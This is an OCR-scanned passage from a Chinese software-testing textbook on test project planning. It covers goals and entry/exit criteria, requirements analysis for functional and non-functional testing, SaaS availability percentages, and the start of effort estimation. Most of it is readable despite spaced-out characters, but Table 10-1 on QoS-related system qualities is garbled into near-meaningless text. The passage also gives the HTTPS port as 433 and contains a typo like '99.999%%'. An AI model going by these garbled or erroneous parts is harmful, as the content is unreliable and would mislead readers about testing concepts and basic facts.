项 ,这 也 是 测试 工作 量 估算 的 基础 ,更 是 测试 资源 计划 、 进 度 计 划 的 基础 。 


10.1 测试 的 目标 和 准则 


测试 项 目 计 划 的 整体 目标 是 为 了 确定 测试 的 任务 、 所 需 的 各 种 资源 
和 投入 、 预 见 可 能 出 现 的 问题 和 风险 ,以 指导 测试 的 执行 ,最 终 实现 测试 
的 目标 ,保证 软件 产品 的 质量 。 在 项 目的 管理 过 程 中 ,经 常 碰 到 的 问题 


是 : 等 待 做 的 任务 比较 多 ,但 人 力 资源 和 时 间 受 到 限制 ,要 完成 所 有 的 任务 几乎 是 不 可 能 的 。 
这 时 候 要 解决 的 就 是 为 各 项 任务 建立 优先 级 ,这 样 就 可 以 根据 优先 级 高 低 , 先 后 处 理 各 项 任 
务 , 降 低 测试 的 风险 ,以 最 小 的 代价 获得 尽 可 能 高 的 质量 。 

1. 确定 测试 目标 

(1) 为 测试 各 项 活动 制定 一 个 现实 可 行 的 、 综 合 的 计划 ,包括 每 项 测试 活动 的 对 象 . 范 围 、 
方法 、 进 度 和 预期 结果 ; 

(2) 定义 测试 项 目 中 每 个 角色 的 责任 和 工作 内 容 ; 

(3) 开发 有 效 的 测试 模型 ,选择 合适 的 测试 方法 ,能 正确 地 验证 正在 开发 的 软件 系统 ; 

(4) 确定 测试 所 需要 的 时 间 和 资源 ,以 保证 其 可 获得 性 ,有 效 性 ; 

(5) 确立 每 个 测试 阶段 测试 完成 以 及 测试 成 功 的 标准 、 要 实现 的 目标 ; 

(6) 识别 出 测试 活动 中 各 种 风险 ,并 消除 可 能 存在 的 风险 ,降低 那些 不 可 能 消除 的 风险 所 
带 来 的 损失 ， 

(7) 基于 风险 评估 和 资源 .时 间 的 限制 ,制定 有 效 的 测试 策略 ,在 可 预见 的 .可 接受 的 风险 
前 提 下 ,保证 项 目测 试 任务 按时 完成 。 

2. 软件 测试 项 目的 出 入 准则 

为 了 保证 测试 实施 能 按 计 划 执行 ,必须 确认 测试 在 满足 什么 外 部 条 件 下 才能 开始 ,这 就 要 
求 在 测试 计划 中 定义 软件 测试 项 目 及 其 各 个 阶段 的 进入 准则 ,然后 再 定义 测试 项 目 及 其 各 个 
阶段 的 结束 准则 。 例 如 ,测试 项 目的 结束 准则 包括 测试 用 例 评审 准则 、 测 试 执行 结束 准则 、 
Bug 描述 和 处 理 准则 文档 模板 和 质量 评估 准则 等 ,而 测试 项 目的 进入 准则 有 以 下 几 点 。 

(1) 清楚 了 解 项 目的 整体 计划 框架 ,才能 够 制定 测试 计划 。 

(2) 完成 需求 规格 说 明 书评 审 , 只 有 了 解 到 用 户 具体 的 、 实 际 的 需求 ,才能 分 析 和 确定 测 
试 需求 和 测试 范围 。 

(3) 技术 知识 或 业务 知识 的 储备 ,无 论 是 业务 领域 发 生变 化 还 是 新 技术 的 引入 ,测试 人 员 
都 需要 事先 做 好 知识 准备 ,包括 对 测试 人 员 进 行 必要 的 培训 。 

(4) 标准 环境 : 建立 用 户 使 用 环境 或 业务 运行 环境 一 致 或 非常 接近 的 测试 环境 。 

(5) 技术 设计 文档 是 测试 用 例 设计 的 重要 参考 资料 ,帮助 测试 人 员 了 解 系统 的 技术 实现 
以 及 系统 可 能 存在 的 薄弱 环节 等 。 

(6) 足够 的 资源 ,包括 人 力 资源 .硬件 资源 .软件 资源 和 其 他 环境 资源 。 

(7) 人 员 组 织 结构 ,项 目 经 理 、 测 试 组 长 .成 员 等 责任 及 其 之 间 的 关系 已 确定 。 

3. 测试 项 目 管理 的 原则 


要 管理 好 软件 测试 项 目 ,首先 要 制定 好 测试 管理 流程 和 测试 规范 ,明确 定义 测试 过 程 中 各 
种 活动 .技术 标准 、 度 量 指标 和 相应 的 文档 模板 。 其 次 ,要 有 正确 的 管理 方法 ,包括 对 风险 、 进 
度 和 质量 的 管理 。 最 后 ,在 规范 的 测试 流程 和 客观 的 评价 标准 基础 之 上 ,就 要 从 软件 测试 项 目 
的 人 员 角 色 和 责任 ,畅通 的 交流 渠道 ,完善 的 奖惩 体系 等 各 方面 着 手 , 提高 测试 团队 的 作战 
能 力 。 

(1) 可 靠 的 需求 。 测 试 的 需求 是 经 各 方 一 致 同意 的 、 可 实现 的 并 在 文档 中 清楚 地 完整 地 
和 详细 地 描述 。 

(2) 能 够 适应 开发 过 程 模型 。 例 如 , 当 采 用 快速 开发 模型 或 敏捷 方法 时 ,为 了 能 够 应 对 需 
求 的 变化 , 面 对 频 繁 的 软件 发 布 ,测试 人 员 需 要 和 开发 人 员 同步 工 作 ,并 尽力 实现 自动 化 测试 。 


(3) 充分 测试 和 尽早 开始 测试 。 每 次 改 错 或 变更 后 ,不 仅 要 测试 修改 的 地 方 ,而 且 应 该 进 
行 足够 的 回归 测试 。 

(4) 合理 的 时 间 表 。 为 测试 设计 执行、 变更 后 再 测试 以 及 测试 结果 分 析 等 留 出 足够 的 时 
间 ,进行 周密 计划 ,不 应 使 用 突击 的 办 法 来 完成 项 目 。 

(5) 充分 沟通 。 不 仅 在 测试 团队 内 部 做 好 沟通 ,而 且 要 与 开发 人 员 产品 经 理 、 市 场 人 员 
甚至 客户 等 进行 有 效 沟通 ,并 采用 合适 的 通信 手段 ,如 电话 、 即 时 消息 (IM) 远程 在 线 会 议 系 
统 和 电子 邮件 等 。 

(6) 基于 数据 库 的 测试 管理 系统 ,通过 这 个 系统 有 效 地 管理 测试 计划 、 测 试用 例 \ 测 试 任 
务 、 缺 陷 和 测试 报告 等 ,确保 及 时 的 管理 和 良好 的 协作 。 


10.2 测试 需求 分 析 


测试 人 员 掌 控 了 软件 项 目的 背景 、 产 品 测试 目标 和 准则 ,阅读 相关 软件 需求 文档 ,参与 需 
求 评审 ,以 及 掌握 了 第 2 章 所 学 的 产品 质量 特性 知识 ,在 这 些 基 础 之 上 ,可 以 进行 测试 的 需求 
分 析 , 即 包括 下 面 这 些 工 作 。 

(1) 明确 测试 范围 ,了 解 哪些 功能 点 要 测试 、 哪 些 功 能 点 不 需要 测试 ; 

(2) 知道 哪些 测试 目标 优先 级 高 哪些 目标 优先 级 低 ; 

(3) 要 完成 哪些 相应 的 测试 任务 才能 确保 目标 的 实现 。 

然后 才能 估算 测试 的 工作 量 ,安排 测试 的 资源 和 进度 。 测 试 需求 分 析 是 测试 设计 和 开发 
测试 用 例 的 基础 ,测试 需求 分 析 得 越 细 , 对 测试 用 例 的 设计 质量 的 帮助 越 大 ,详细 的 测试 需求 
还 是 衡量 测试 覆盖 率 的 主要 依据 。 只 有 在 做 好 测试 需求 的 基础 上 ,才能 规划 项 目 所 需 的 资源 、 
时 间 以 及 所 存在 的 风险 等 。 


10.2.1 测试 需求 分 析 的 基本 方法 


无 论 是 功能 测试 ,还 是 非 功 能 性 测试 ,其 测试 需求 的 分 析 都 有 如 下 两 个 基本 的 出 发 点 。 

(1) 从 客户 角度 进行 分 析 : 通过 业务 流程 .业务 数据 ,业务 操作 等 分 析 , 明 确 要 验证 的 功 
能 、 数 据 、 场 景 等 内 容 , 从 而 确定 业务 方面 的 测试 需求 。 

(2) 从 技术 角度 分 析 : 通过 研究 系统 架构 设计 、 数 据 库 设计 、 代 码 实现 等 ,分 析 其 技术 特 
点 ,了 解 设计 和 实现 要 求 , 包 括 系统 稳定 可 靠 , 分 层 处 理 、 接 口 集成 .数据 结构 ,性 能 等 方面 的 测 

如 果 有 完善 的 需求 文档 (如 产品 功能 规格 说 明 书 ) ,那么 功能 测试 需求 可 以 根据 需求 文档 ， 
再 结合 前 面 分 析 和 自己 的 业务 知识 等 ,比较 容易 确定 功能 测试 的 需求 。 如 果 缺 乏 完善 的 需求 
文档 ,就 需要 借助 启发 式 分 析 方 法 ,从 系统 业务 目标 、 结 构 、 功 能 .数据 ,运行 平台 、 操 作 等 多 方 
面 进行 综合 分 析 , 了 解 测试 需求 ,并 通过 和 用 户 、 业 务 人 员 、 产 品 经 理 或 产品 设计 人 员 、 开 发 人 
员 等 沟通 ,逐步 让 测试 需求 清晰 起 来 。 

(1) 业务 目标 : 所 有 要 做 的 功能 特性 都 不 能 违背 该 系统 要 达到 的 业务 目标 ,多 问 问 如 何 
更 好 地 达到 这 些 业务 目标 ,如 何 验证 是 否 实现 这 些 业务 目标 ? 

(2) 系统 结构 : 产品 是 如 何 构成 的 ? 系统 有 哪些 组 件 、 模 块 ? 模块 之 间 有 什么 样 的 关系 ? 
有 哪些 接口 ? 各 个 组 件 又 包含 哪些 信息 ? 

(3) 系统 功能 : 产品 能 做 哪些 事 、 处 理 哪些 业务 ? 处 理 某 些 业 务 时 由 哪些 功能 来 支撑 、 形 


成 怎样 的 处 理 过 程 ? 处 理 哪 些 错误 类 型 ? 有 哪些 UI 来 呈现 这 些 功能 ? 

(4) 系统 数据 : 产品 处 理 哪 些 数据 ? 最 终 输 出 哪些 用 户 想 要 的 结果 ? 哪些 数据 是 正常 
的 ? 又 有 哪些 异常 的 数据 ? 输入 数据 是 如 何 被 转化 、 传 递 的 ? 这 中 间 有 哪些 过 渡 性 数据 ? 输 
出 数据 格式 有 什么 要 求 ? 输出 数据 存储 在 哪里 ? 

(5) 系统 运行 的 平台 : 系统 运行 在 什么 硬件 上 ? 什么 操作 系统 ? 有 什么 特殊 的 环境 配 
置 ? 是 否 依赖 第 三 方 组 件 ? 

(6) 系统 操作 : 有 哪些 操作 角色 ? 什么 场景 下 使 用 ? 不 同 角色 ,场景 有 什么 不 同 ? 有 了 哪 
些 是 交集 的 ? 

上 面 这 些 分 析 , 更 多 是 从 测试 对 象 本 身 来 进行 分 析 , 还 包括 用 户 角色 分 析 、 用 户 行为 分 析 、 
用 户 场景 分 析 等 。 还 可 以 通过 其 他 方面 的 资料 ,帮助 我 们 更 好 地 完成 测试 的 需求 分 析 。 

(1) 对 竞争 产品 进行 对 比分 析 ,明确 测 试 的 重点 。 

(2) 质量 存在 哪些 风险 ,包括 安全 性 漏洞 等 。 

(3) 对 过 去 类 似 产品 或 本 产品 上 个 版 本 所 发 现 的 缺陷 进行 分 析 , 总 结 缺 陷 出 现 的 规律 ,看 
看 有 没有 漏 掉 的 测试 需求 。 

(4) 在 易 用 性 、 用 户 体验 上 有 什么 特别 的 需求 需要 验证 ? 

(5) 管理 者 或 市 场 部 门 有 没有 事先 特定 的 声明 ? 

(6) 有 没有 相应 的 行业 规范 ,特许 质量 标准 ? 

测试 需求 分 析 过 程 ,可 以 从 质量 要 求 出 发 ,来 展开 测试 需求 分 析 , 如 从 功能 性能、 安全 性 、 
兼容 性 等 各 个 质量 要 求 出 发 ,不 断 细 化 其 内 容 ,挖掘 其 对 应 的 测试 需求 ,覆盖 质量 要 求 。 也 可 
以 从 开发 需求 (如 产品 功能 特性 点 ,敏捷 开发 的 用 户 故事 ) 出 发 ,针对 每 一 条 开发 需求 形成 已 分 
解 的 测试 项 ,结合 质量 要 求 , 这 些 测试 项 再 扩展 为 测试 任务 ,这 些 测 试 任务 包括 具体 的 功能 性 
测试 任务 和 非 功能 性 测试 任务 。 在 整理 测试 需求 时 ,需要 分 类 、 细 化 、 合 并 并 按照 优先 级 进行 
排序 ,形成 测试 需求 列表 。 


10.2.2 测试 需求 分 析 的 技术 


在 软件 测试 需求 分 析 过 程 中 ,可 以 采用 有 效 的 问题 分 析 技 术 来 帮助 提高 测试 需求 的 有 效 
性 和 工作 效率 。 从 测试 需求 分 析 来 看 ,应 力求 通过 与 各 相关 干系 人 的 沟通 ,收集 足够 的 、 有 价 
值 的 信息 或 数据 ,借助 下 列 途 径 来 达到 良好 的 分 析 效 果 , 如 : 

(1) 通过 提炼 , 抓 住 主要 线索 ,或 作为 整体 来 进行 分 析 , 使 测试 需求 分 析 简 单 化 ; 

(2) 通过 业务 需求 或 功能 层次 的 整理 ,使 测试 需求 分 析 结 构 化 ,层次 化 ; 

(3) 通过 绘制 业务 流程 图 、 数 据 流程 图 等 ,使 测试 需求 分 析 可 视 化 ; 

(4) 通过 类 比 .隐喻 ,加 强 用 户 需 求 的 理解 ,更 好 地 转化 为 测试 需求 。 

在 测试 需求 的 分 析 中 ,能 采用 静态 分 析 技 术 与 动态 分 析 技 术 、 定 性 分 析 技 术 和 定量 分 析 技 
术 , 其 中 以 静态 分 析 技 术 、 定 性 分 析 技 术 为 主 ,但 产品 性 能 、 用 户 行为 分 析 和 用 户 体验 分 析 等 也 
常 采用 定量 分 析 技 术 。 有 时 ,会 采用 综合 分 析 技术 、 模 型 分 析 技术 等 。 

在 测试 需求 分 析 时 ,产品 本 身 往 往 处 于 需求 分 析 和 设计 过 程 中 ,静态 分 析 技术 是 常用 的 分 
析 技 术 。 静 态 分 析 技术 包括 : 

(1) 通过 系统 建 模 语言 (SysML) 的 需求 图 ,可 以 更 好 地 分 析 各 项 需求 之 间 的 关系 ,比较 容 
易 确定 测试 需求 的 边界 。 

(2) 通过 状态 图 、 活 动 图 更 容易 列 出 测试 场景 ,了 解 状 态 转换 的 路 径 和 条 件 ,哪些 是 重要 


测试 场景 等 。 

(3) 实体 关系 图 : 可 以 明确 测试 的 具体 对 象 (实体 ) 及 其 之 间 的 关系 ,进行 相关 分 析 。 

(4) 鱼 骨 图 法 .思维 导 图 等 ,有 一 个 清晰 的 分 析 思 维 过 程 , 迅 速 展开 测试 需求 ,随时 补充 测 

(5) 代码 复杂 度 静 态 分 析 工 具 ,代码 越 复杂 ,测试 的 投入 也 需要 越 多 。 

(6) 还 可 以 用 一 些 普 通 工 具 , 如 检查 表 。 

(7) 脑力 激荡 法 ,让 大 家 发 散 思维 ,相互 启发 ,不 会 错过 任何 测试 需求 。 

而 动态 分 析 技 术 应 用 相对 少 一 些 ,但 在 一 些 应 用 场景 的 分 析 中 还 是 有 帮助 的 ,如 前 面 提 到 
的 竞争 对 手 产品 分 析 , 这 是 一 种 动态 分 析 技 术 ,通过 操作 竞争 对 手 产品 ,全 面 了 解 相 同业 务 的 
需求 ,在 功能 .逻辑 .界面 等 各 个 方面 深入 挖掘 测试 需求 。 同 样 道 理 , 需 求 原 型 分 析 技 术 一 一 基 
于 开发 已 构建 的 原型 来 进行 测试 需求 分 析 , 更 能 直观 地 理解 产品 ,进而 有 助 于 测试 需求 的 分 
析 , 达 到 类 似 效果 。 可 以 采用 仿真 技术 、 模 拟 技术 、 角 色 扮 演 等 手段 ,也 能 帮助 测试 需求 的 
分 析 。 


10.2.3 功能 测试 范围 分 析 


在 分 析 测 试 范围 时 ,一 般 先 进行 功能 测试 的 范围 分 析 , 然 后 再 进行 非 功能 性 测试 的 范围 分 
析 。 对 于 功能 测试 ,可 以 借助 业务 流程 图 、 功 能 框图 等 来 帮助 进行 测试 的 需求 分 析 。 在 面向 对 
象 的 软件 开发 中 ,也 可 借助 UML 用 例 图 .活动 图 ,协作 图 和 状态 图 来 进行 功能 测试 范围 分 析 。 
例如 ,针对 Web 应 用 系统 ,可 以 列 出 一 些 共 性 的 测试 需求 。 

(1) 用 户 登录 ,登录 的 用 户 名 口令 能 否 保存 ? 口令 忘 了 ,能 否 找 回来 ? 允许 登录 失败 的 
次 数 是 否 有 限制 ? 口令 字符 有 没有 严格 要 求 ( 如 长 度 , 大 小 写 .特殊 字符 )? 是 否 硬性 规定 经 过 
一 段 时 间 后 必须 改变 口令 ? 

(2) 站 点 地 图 和 导航 条 。 每 个 网 站 都 需要 站 点 地 图 ,让 用 户 一 看 就 能 了 解 网 络 内 容 , 而 且 
当 新 用 户 在 网 站 中 迷失 方向 时 ,站 点 地 图 可 以 引导 用 户 进行 浏览 ,找到 所 想 访问 的 内 容 。 需 要 
验证 站 点 地 图 每 一 个 链接 是 否 存在 而 且 正 确 , 有 没有 涵盖 站 点 上 所 有 内 容 的 链接 。 是 否 每 个 
页 面 都 有 导航 条 ? 导航 条 是 否 一 致 直观? 

(3) 链接 跳 转 正确 , 即 链接 地 址 正确 ,并 能 显示 正常 .自然 ,不 要 给 人 突然 的 感觉 。 

(4) 表单 ,各 项 输入 是 必需 的 、 合 理 的 ,各 项 操作 正常 ,对 于 错误 的 输入 有 准确 .适当 的 提 
示 ,并 完成 最 后 的 提交 。 提 交 后 ,返回 提交 内 容 的 显示 ,使 用 户 放心 。 如 用 户 通过 表单 进行 注 
册 , 能 输入 用 户 名 .口令 .地 址 .电话 、 爱 好 等 各 种 信息 , 当 格式 内 容 不 对 或 不 符 时 ,及 时 给 予 提 
示 , 在 用 户 提交 信息 后 ,进一步 检查 各 项 内 容 的 正确 性 ,然后 写 和 数据库、 返回 注册 成 功 的 
消息 。 

(5) 数据 校 验 ,根据 业务 规则 和 流程 对 用 户 输入 数据 进行 校 验 ,是 许多 系统 不 可 缺少 的 。 
通过 列表 选择 、 规 则 提示 或 在 线 帮助 ,能 很 好 地 解决 问题 。 

(6) Cookie, 在 Web 应 用 中 到 处 可 见 , 用 来 保存 用 户 注册 ,访问 和 其 他 本 地 客户 端 信息 ， 
所 保存 的 信息 要 加 密 , 并 能 及 时 更 新 。Cookie 被 删除 后 ,可 以 被 重建 。 

(7) Session, 是 否 安 全 ,稳定 ,而 且 占 用 较 少 的 资源 。 

(8) SSL、 防 火 墙 等 的 测试 。 使 用 了 SSL, 浏 览 器 地 址 栏 中 URL 的 “http:” 就 变 为 
“https:”, 服 务 器 的 连接 端口 号 则 由 80 变 为 433 ,应 用 程序 接口 API 也 要 和 页 面 保持 一 致 。 
防火 墙 支持 更 多 的 设置 ,包括 代理 、 验 证 方式 .超时 等 。 


(9) 接口 测试 ,与 数据 库 服务 器 、 第 三 方 产品 接口 (如 电子 商务 网 站 信用 卡 验证 ) 的 测试 ， 
包括 接口 错误 代号 和 列表 。 


10.2.4 非 功 能 性 的 系统 测试 需求 


对 于 非 功能 性 的 系统 测试 ,主要 目的 是 验证 软件 系统 的 整体 性 能 等 是 否 满足 其 产品 设计 
规格 所 指定 的 要 求 ,涉及 非 功能 性 的 质量 需求 ,包括 系统 性 能 、 安 全 性 、 兼 容 性 .扩充 性 等 的 测 
试 ,可 能 还 会 涉及 第 三 方 产品 的 集成 测试 。 对 于 每 一 个 应 用 软件 系统 , 非 功能 特性 的 质量 需求 
都 是 存在 的 ,这 类 测试 需求 会 因 不 同 的 项 目 类 型 差异 比较 大 ,这些 需求 的 程度 .重要 性 不 同 ,这 
也 要 求 为 非 功能 性 测试 需求 设置 优先 级 ,下 面 就 做 一 个 简单 的 分 析 。 

(1) 纯 客户 端 软件 ,如 字 处 理 软 件 、 下 载 软件 ,媒体 (音频 /视频 ) 播 放 软件 等 在 系统 非 功能 
性 测试 要 求 上 是 最 低 的 ,对 性 能 、 容 错 性 、 稳 定性 等 有 一 定 的 要 求 ,如 占用 较 少 的 系统 资源 
(CPU 和 内 存 ), 而 且 能 运行 在 不 同 的 操作 系统 上 ,一 般 分 为 Windows 版 、Linux 版 和 Mac 版 
等 。 在 Windows 上 要 支持 Windows XP、Windows 7 和 Windows 8 等 。 

(2) 纯 Web(B/S) 应 用 系统 ,如 门户 网 站 .个 人 博客 网 站 、 网 络 信息 服务 等 在 系统 非 功能 
性 测试 上 要 求 较 高 ,特别 强调 性 能 和 可 用 性 ,对 安全 性 有 一 定 的 要 求 , 主 要 是 保证 数据 的 备份 
和 登录 权限 。 性 能 要 求 好 ,可 以 允许 大 量 并 发 用 户 的 访问 ,而 且 用 户 在 任何 时 刻 可 以 访问 , 即 
每 周 7 天 ,每 天 24 小 时 (7X24) 运 行 。 

(3) 客户 /服务 器 (C/S) 应 用 系统 ,如 邮件 系统 、 群 件 或 工作 流 系统 .即时 消息 系统 等 在 系 
统 非 功能 性 测试 需求 上 与 Web 应 用 系统 接近 ,也 可 能 出 现 大 量 并 发 访问 的 用 户 ,但 安全 性 相 
对 好 些 , 客 户 端 是 特定 的 开发 软件 ,相对 于 浏览 器 来 说 ,对 端口 .协议 等 的 限制 比较 容易 做 到 。 

(4) 大 型 复杂 企业 级 系统 涉及 面 广 , 集 成 性 强 , 包 括 B/S、C/S、 数 据 库 、 目 录 服 务 、 服 务 器 
集群 XML 接口 等 各 个 子 系统 。 在 系统 非 功 能 性 测试 需求 上 ,这 类 系统 要 求 最 高 ,不 论 是 在 
性 能 .可 用 性 方面 ,还 是 在 安全 性 .可 靠 性 等 方面 ,都 有 很 高 的 要 求 。 

系统 非 功 能 性 测试 的 需求 在 不 同 应 用 领域 也 体现 出 较 大 差异 。 如 网 上 银行 .信用卡 服务 
等 系统 ,其 安全 性 .可 用 性 和 可 靠 性 等 多 方面 的 测试 至 关 重 要 ,因为 这 方面 的 缺陷 很 可 能 会 给 
用 户 造成 较 大 的 损失 。 这 些 系 统 需要 得 到 充分 的 安全 性 测试 .容错 性 测试 和 负载 测试 。 多 数 
情况 下 ,还 需要 独立 第 三 方 的 安全 认证 。 

而 对 于 局 域 网 内 的 企业 级 应 用 来 说 ,有 关 权 限 控制 .口令 设置 等 安全 性 测试 依然 重要 ,但 
兼容 性 测试 就 相对 简单 ,因为 可 以 指定 某 些 特定 的 硬件 和 软件 ,如 打印 机 只 用 HP LaserJet， 
操作 系统 和 浏览 器 只 用 Windows XP 和 IE, 无 须 对 各 种 各 样 的 硬件 和 软件 进行 兼容 性 测试 。 
对 于 客户 端 软件 ,一 般 情况 下 ,性 能 不 是 问题 ,而 容错 性 、 稳 定性 的 测试 则 显得 重要 些 。 

对 于 企业 级 应 用 系统 来 说 ,存在 着 不 同 的 应 用 模式 ,其 系统 的 架构 也 不 一 样 ,可 以 分 为 以 
功能 为 中 心 .以 数据 库 为 中 心 和 以 业务 逻辑 (工作 流 ) 为 中 心 等 ,在 进行 系统 测试 时 ,所 设 定 的 
目标 也 有 一 定 的 区 别 。 

(1) 以 功能 为 中 心 的 系统 ,强调 模块 化 的 低 耦 合 性 和 高 内 聚 性 ,这 类 系统 的 可 扩充 性 、 维 
护 性 要 求 很 高 。 

(2) 以 数据 库 为 中 心 的 系统 ,强调 数据 处 理 的 性 能 、 正 确 性 和 有 效 性 ,使 数据 具有 良好 的 
一 致 性 和 兼容 性 ,同时 ,确保 数据 的 安全 性 ,包括 数据 的 存储 访问 控制 加密、 备份 和 恢复 等 。 

(3) 以 应 用 逻辑 (工作 流 ) 为 中 心 的 系统 ,强调 灵活 .流畅 和 时 间 性 ,系统 的 可 配置 性 强 , 接 
口 规范 ,如 采用 XML 统一 各 工作 流 构件 的 输入 和 输出 。 


除 此 之 外 ,还 有 其 他 一 些 因素 的 影响 ,如 项 目的 周期 性 和 依赖 性 等 。 如 果 项 目 是 一 次 性 
的 ,对 可 扩充 性 、 可 移植 性 等 要 求 低 , 而 长 期 性 的 项 目 ( 如 产品 开发 ) 对 可 扩充 性 、 可 移植 性 要 求 
就 很 高 。 对 软件 即 服 务 (Software as a Service, SaaS) 的 应 用 服务 模式 ,对 软件 运行 的 服务 质 
量 (Quality of Service, QoS) 也 有 很 高 的 要 求 ,需要 支持 7X 24 不 间断 的 服务 。 对 于 这 样 的 
Web 服务 软件 , 非 功能 性 测试 的 需求 涉及 性 能 、 安 全 性 、 容 错 性 、 兼 容 性 、 可 用 性 、 可 伸缩 性 等 
各 个 方面 。 

服务 级 别 协议 (Service Level Agreement,SLA) 指 定 了 最 低 性 能 要 求 ,以 及 未 能 满足 此 要 
求 时 必须 提供 的 客户 支持 级 别 和 程度 。 与 QoS 要 求 一 样 ,服务 级 别 要 求 源 自 业 务 要 求 ,对 要 
求 的 测试 条 件 及 不 符合 要 求 的 构成 条 件 均 有 明确 规定 ,并 代表 着 对 部 署 系统 必须 达到 的 整体 
系统 特性 的 担保 。 服 务 级 别 协议 被 视 为 合同 ,所 以 必须 明确 规定 服务 级 别 要求 。 如 表 10-1 所 
示 , 下 面 侧重 性 能 、 可 用 性 、 安 全 性 和 兼容 性 的 测试 需求 讨论 ,而 对 其 他 非 功能 性 属性 就 不 进行 
过 多 的 讨论 ,这 并 不 意味 着 这 些 属性 就 没有 测试 需求 ,例如 ,可 维护 性 ( 即 系统 维护 的 容易 程 
度 ) 的 测试 需求 也 是 很 多 的 ,包括 系统 监视 日 志文 件 , 故 障 恢复 \ 数 据 更 新 和 备份 等 测试 。 


表 10-1 影响 QoS 要 求 的 系统 特性 


系统 质量 说 明 

性 能 ”| 指 按 用 户 负载 条 件 对 响应 时 间 和 窜 吐 量 所 做 的 度量 

可 用 性 ”| 指 对 系统 资源 和 服务 可 供 最 终 用 户 使 用 的 程度 度量 ;通常 以 系统 的 正常 运行 时 间 来 表示 

可 | 指 随 时 间 推移 为 部 轩 系 统 增加 容 一 (和 用 户 ) 的 能 力 。 可 介 绽 通常 计 及 向 系统 汪 加 训 尖 ,下 
不 应 要 求 对 部 署 体系 结构 进行 更 下 

全、 | 指 对 系统 及 其 用 户 的 完 间 性 进行 说 丽 的 复 末 因素 列 合 ， 安 全 竹 介 括 用 户 的 间 证 和 和 失 权 "区 和 
的 安全 以 及 对 已 部 署 系统 的 安全 访问 

ell | 各 在 不 增加 光源 的 情况 下 ,系统 处 再 异 到 从 负 散 的 论 力 。 汪 在 容量 是 可 用 从. 性 能 和 可 信 融 
性 特性 中 的 一 个 因素 
指 对 已 部 署 系统 进行 维护 的 难 易 度 ,其 中 包括 监视 系统 、 修 复出 现 的 故障 以 及 升级 硬件 和 软件 

可 维护 性 | 组 件 等 任务 


知识 点 : SaaS 可 用 性 测试 

可 用 性 是 指 系统 正常 运行 的 能 力 或 程度 ,在 一 定 程度 上 也 是 系统 可 靠 性 的 表现 ,可 用 
性 测试 就 基本 等 同 于 可 靠 性 测试 。 可 用 性 一 般 用 正常 向 用 户 提供 软件 服务 的 时 间 占 总 时 
间 的 百分比 来 表示 , 即 ， 

可 用 性 二 正常 运行 时 间 /( 正 常 运 行 时 间 十 非 正 常 运 行 时 间 )X100% 

系统 非 正常 运行 时 间 可 能 是 因 硬 件 、 软 件 、 网 络 故障 或 任何 其 他 因素 (如 断 电 ) 所 致 ,这 
些 因素 能 让 系统 停止 工作 或 连接 中 断 不 能 被 访问 或 性 能 急剧 降低 不 能 使 用 软件 现 有 的 服 
务 等 。 

可 用 性 指标 一 般 要 求 达 到 4 个 或 5 个 “9”, 即 99.99% 或 99.999%。 

(1) 如 果 可 用 性 达到 99. 99% ,对 于 一 个 全 年 不 间断 (7X24 的 方式 ) 运 行 的 系统 ,意味 
着 全 年 (525 600min) 不 能 正常 工作 的 时 间 只 有 52min, 不 到 1h。 

(2) 如 果 可 用 性 达到 99. 999%% ,意味 着 全 年 不 能 正常 工作 的 时 间 只 有 5min。 

所 以 一 个 系统 的 可 用 性 达到 99. 999% ,基本 能 满足 用 户 的 需求 。 当 然 ,不 同 的 应 用 系 
统 , 可 用 性 要 求 是 不 一 样 的 , 非 实时 性 的 信息 系统 或 一 般 网 站 要 求 都 很 低 , 可 能 在 99% 和 


99.5% 之 间 , 而 对 一 些 军 事 系 统 , 则 要 求 很 高 ,如 美国 防空 雷达 系统 全 年 失效 时 间 不 超过 两 
秒 , 可 用 性 高 达 7 个 “9” 之 上 , 达 99. 999994%。 

可 用 性 测试 就 比较 困难 ,不 可 能 有 足够 的 时 间 来 进行 测试 ,只 能 采用 空间 换 时 间 的 办 
法 ,例如 ,在 高 负载 情况 下 进行 为 期 一 周 或 一 个 月 的 测试 ,以 判断 其 可 靠 性 。 其 次 ,就 是 对 
提高 可 靠 性 的 措施 进行 测试 ,如 故障 转移 的 测试 。 


10.3 测试 项 目的 估算 与 进度 安排 


在 进行 项 目 计 划 时 ,就 要 确定 资源 需求 和 安排 进度 ,而 这 些 工 作 依赖 于 对 测试 范围 和 工作 
量 的 估算 。 估 算 技术 主要 有 经 验 估算 法 或 专家 评估 法 、 对 比分 析 法 .工作 任 务 分 解 方法 和 数学 
建 模 方法 等 。 通 过 比较 、 调 整 使 用 不 同 技术 导出 的 估算 值 , 计 划 者 更 有 可 能 得 到 精确 的 估算 。 
软件 项 目 估算 永远 不 会 是 一 门 精确 的 科学 ,但 将 良好 的 历史 数据 与 系统 化 的 技术 结合 起 来 能 
够 提高 估算 的 精确 度 。 

项 目 开始 前 的 计划 ,对 任务 的 测试 需求 有 一 个 大 体 的 认识 ,但 深度 不 够 ,其 估算 缺乏 精度 ， 
进度 表 可 能 只 是 一 个 时 间 上 的 框架 ,其 中 一 定 程度 上 是 靠 计 划 制 定 者 的 经 验 来 把 握 的 。 随 着 
时 间 的 推移 ,测试 的 不 断 深入 ,对 任务 会 有 进一步 的 认识 ,对 很 多 问题 部 不 再 停留 在 比较 粗略 
的 估算 上 ,项 目 进度 表 会 变 得 越 来 越 详细 、 越 准确 。 这 也 就 是 说 ,计划 是 一 个 过 程 ,不 仅仅 是 写 
成 一 个 “测试 计划 书 ” 文 档 。 


10.3.1 测试 工作 量 估算 


测试 的 工作 量 是 根据 测试 范围 ,测试 任务 和 开发 阶段 来 确定 的 。 测 试 范围 和 测试 任务 是 
测试 工作 量 估算 的 主要 依据 。 如 何 确 定 测试 范围 已 在 10. 2 节 做 了 充分 的 讨论 ,可 以 根据 产品 
需求 规格 说 明 来 决定 。 测 试 任务 是 由 质量 需求 .测试 目标 来 决定 的 ,质量 要 求 越 高 , 越 要 进行 
更 深 、 更 充分 的 测试 ,回归 测试 的 次 数 和 频率 也 要 加 大 ,测试 的 工作 量 也 要 增加 。 处 在 不 同 的 
开发 阶段 ,测试 工作 量 的 差异 也 很 大 。 新 产品 第 一 个 版 本 的 开发 过 程 ,相对 于 以 后 的 版 本 来 
说 ,测试 的 工作 量 要 大 一 些 。 但 也 不 是 绝对 的 ,例如 ,第 1 个 版 本 的 功能 较 少 ,在 第 2、3 个 版 本 
中 ,增加 了 较 多 的 新 功能 ,虽然 新 加 的 功能 没有 第 1 个 版 本 的 功能 多 ,但 是 在 第 2、3 个 版 本 的 
